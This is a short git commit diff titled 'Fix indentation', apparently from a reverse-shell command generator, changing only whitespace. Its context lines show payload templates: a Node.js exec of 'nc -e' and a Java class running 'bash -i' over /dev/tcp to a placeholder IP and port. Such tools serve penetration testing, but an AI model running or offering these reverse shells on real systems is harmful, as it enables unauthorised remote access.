Fix indentation

This commit is contained in:
Adam Bertrand 2021-09-21 13:49:25 +02:00
parent b64401b980
commit ab01c7e45e

View File

@ -248,7 +248,7 @@ const reverseShellCommands = withCommandType(
"command": "require('child_process').exec('nc -e {shell} {ip} {port}')",
"meta": ["linux", "mac"]
},
{
{
"name": "Java #1",
"command": "public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}",
"meta": ["linux", "mac"]